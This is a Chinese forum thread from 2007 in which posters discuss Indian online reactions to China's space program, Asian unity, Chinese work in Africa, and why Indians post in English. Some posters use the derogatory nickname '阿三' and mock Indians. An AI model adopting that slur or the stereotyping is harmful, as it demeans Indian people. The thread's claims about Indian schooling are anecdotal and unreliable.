仅仅看这些帖子其实非常理性,而且印度很多人还有一种亚洲联合的观念,丝毫很多中国人都没有这样的想法,包括我在内...
原帖由 RAF 于 2007-11-3 02:23 发表
我有N多印度同事, 觉得他们很聪明... 看来印度的问题跟中国一样, 人民都很聪明, 无奈体制和上层不行.
仅仅看这些帖子其实非常理性,而且印度很多人还有一种亚洲联合的观念,丝毫很多中国人都没有这样的想法,包括我在内 ...


美国最多的留学生就是印度人和中国人了,感觉印度人还多些。印度人和中国人一样,都是很有思想的,毕竟都是文明古国。

别忘了天安门上的那句:全世界无产阶级联合起来!!;P

关于联合,印度现在更多的是口号,既无实力也无实际行动。相比之下中国则典型的务实派,发达国家不加我们玩,就把非洲弟兄拉上,把东盟拉拢。我们的民工可是踏踏实实在非洲搞建设,非洲的公路、大楼、电力、电信基础都是我们的多,这都是实实在在,我们未来的下级市场。
badguy2000好像是中国人吧,不过在印度防务论坛被扣成了负分了,也是名人了:D :D :D
文明古国之一的印度竟然在论坛上使用英语?
亚洲,如果能象欧洲那样联合,是多么理想的前景。

但不和谐的声音太多
欧洲想统一,必须要虚弱美国,打倒英国
楼主辛苦,让我这个英语后进生也知道了外国人对中国航天的看法。:handshake
呵呵,我在澳洲这边碰到的阿三同学一个比一个搞笑..................

这个帖子里的好像都比较冷静和理智
原帖由 RAF 于 2007-11-3 02:23 发表
我有N多印度同事, 觉得他们很聪明... 看来印度的问题跟中国一样, 人民都很聪明, 无奈体制和上层不行.
仅仅看这些帖子其实非常理性,而且印度很多人还有一种亚洲联合的观念,丝毫很多中国人都没有这样的想法,包括我在内 ...



凡是落后必定体质。。。。。中国是怪专制,印度怪什么,民主?
看起来相当理智和有思想
这个帖子到是蛮中肯的,可能是印度的FF都懒的回帖了
印度人从小学四年级左右(具体记不清了,印度人告诉我的)开始学习英语,
中学开始的自然科学课程全部英文授课,
各民族语言不通,
我听一个孟加拉族的人跟我说泰米尔族的hate印地语,
他本人也只能用英语与其他民族的交流,
所以论坛使用英文不奇怪。
他们学制是,6年小学,六年中学,三年本科,两年硕士研究生,五年博士研究生,
一般是连贯读下来。
印度人从小学四年级左右(具体记不清了,印度人告诉我的)开始学习英语,
中学开始的自然科学课程全部英文授课,
各民族语言不通,
我听一个孟加拉族的人跟我说泰米尔族的hate印地语,
他本人也只能用英语与其他民族的交流,
所以论坛使用英文不奇怪。
他们学制是,6年小学,六年中学,三年本科,两年硕士研究生,五年博士研究生,
一般是连贯读下来。
]]
印度现在的网络水平和我国当年2000年前差不多,当年西四胡同等一批早期的网站一样很理性,但是2000年后网络大发展,上的人多了,平均水平就下降了
看来哪国的KC都有H,B之分 阿三也不例外
BTW=By the way
阿三太难听了,不和谐:D
原帖由 abcbuzhiming 于 2007-11-6 14:23 发表
印度现在的网络水平和我国当年2000年前差不多,当年西四胡同等一批早期的网站一样很理性,但是2000年后网络大发展,上的人多了,平均水平就下降了

你这话就比较扯了。。。。。。。。。基本上是胡说八道;P
去过当年国内的那一大批军事论坛没?那才叫长“见识”呢